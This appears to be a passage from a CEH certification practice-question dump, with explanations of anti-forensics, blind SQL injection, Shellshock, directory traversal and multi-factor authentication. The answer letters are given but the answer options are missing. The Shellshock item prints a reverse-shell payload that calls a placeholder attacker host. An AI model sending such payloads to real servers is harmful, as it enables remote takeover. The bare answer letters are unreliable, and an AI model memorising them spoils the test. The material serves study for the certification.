A compromised admin account is used to disable logging services. What is the attacker attempting?
Correct Answer: A
Disabling logging services is an anti-forensics technique used to prevent security monitoring and hinder investigation by removing or avoiding evidence of malicious activity.
Question 852
A web application returns generic error messages. The analyst submits AND 1=1 and AND 1=2 and observes different responses. What type of injection is being tested?
Correct Answer: C
This technique is known as Boolean-Based Blind SQL Injection, as defined in CEH v13 Web Application Hacking. When applications suppress database errors and return generic responses, attackers use conditional statements to infer database behavior. By comparing responses to true (1=1) and false (1=2) conditions, the attacker deduces whether injected SQL is being executed successfully. CEH v13 distinguishes this from: Error-based SQLi (visible DB errors) UNION-based SQLi (data extraction) Time-based SQLi (response delays) Boolean-based blind SQL injection relies solely on content differences, making option C correct.
Question 853
What is the most common method to exploit the "Bash Bug" or "Shellshock" vulnerability?
Correct Answer: C
In CEH v13 Module 06: Malware Threats, the Shellshock vulnerability (CVE-2014-6271) is described as a severe bug in the Bash shell where specially crafted environment variables could be used to execute arbitrary commands. The most common attack vector: Web servers using CGI scripts written in Bash. Attackers send malicious HTTP requests to CGI endpoints where Bash executes commands. Exploitation looks like: User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1 Reference: CEH v13 Module 06 - Shellshock Vulnerability Explanation National Vulnerability Database: CVE-2014-6271
Question 854
In Dallas, Texas, ethical hacker Ethan Brooks is hired by Lone Star Credit Union to assess the security of their online banking portal, which processes customer transactions. During his penetration test, Ethan probes the web server hosting the portal, experimenting with crafted URL requests. He notices that by altering the URL parameters in a specific way, the server returns data from areas of the system that should be restricted, revealing configuration files not intended for public access. Suspecting this behavior indicates a vulnerability, Ethan documents the issue to help the security team strengthen their defenses against potential unauthorized access. Which technique is Ethan most likely using to uncover the vulnerability in Lone Star Credit Union's web server?
Correct Answer: D
Directory Traversal, also called path traversal, is a web attack in which an attacker manipulates file path input so the server accesses files outside the intended web directory. In CEH guidance on web application attacks, this commonly happens when an application builds a file path from user-controlled input such as a URL parameter that indicates a filename, folder, language pack, template, or download resource. If the server does not properly validate and normalize the supplied path, an attacker can inject traversal sequences such as dot- dot-slash patterns or encoded equivalents to move up directories and retrieve sensitive files. The scenario describes Ethan changing URL parameters and receiving "data from areas of the system that should be restricted," specifically "configuration files not intended for public access." That is the hallmark outcome of directory traversal: unauthorized read access to files like application configs, environment settings, keys, or server configuration that can later enable deeper compromise. This is not password cracking because no credential guessing or authentication attack is involved. It is not web cache poisoning, which targets shared caching infrastructure to serve poisoned content to other users. It is not HTTP response splitting, which relies on injecting CRLF characters to manipulate response headers and potentially cause caching or XSS side effects. CEH-aligned remediation focuses on strict allowlisting of permitted file resources, canonicalizing paths before access, rejecting traversal tokens and their encoded forms, using indirect object references instead of raw file paths, and enforcing least-privilege permissions so sensitive configuration files are not web- accessible even if a validation mistake occurs.
Question 855
Steve, a scientist who works in a governmental security agency, developed a technological solution to identify people based on walking patterns and implemented this approach to a physical control access. A camera captures people walking and identifies the individuals using Steve's approach. After that, people must approximate their RFID badges. Both the identifications are required to open the door. In this case, we can say:
Correct Answer: B
In authentication, Multi-Factor Authentication (MFA) involves using more than one category of authentication factors: Something you know (e.g., password) Something you have (e.g., RFID badge, token) Something you are (e.g., biometrics like fingerprints, facial recognition, gait) In this scenario: The RFID badge is "something you have" (a physical object). The gait recognition (walking pattern) captured by the camera is a biometric-"something you are" (a physical characteristic). Together, these two methods represent two distinct authentication factors, thereby implementing true multi- factor authentication. Reference - CEH v13 Official Study Guide: Module 5: System Hacking Topic: Authentication Mechanisms Quote: "Examples of multi-factor authentication include combining biometrics (something you are) with a smart card or badge (something you have). Gait recognition is considered a behavioral biometric and falls under 'something you are'." Incorrect Options Explained: A). Incorrect - gait and RFID represent two separate factor types, not one. C). No evidence in the scenario supports high false positives. D). Gait analysis is a recognized biometric method and can be used for identification.
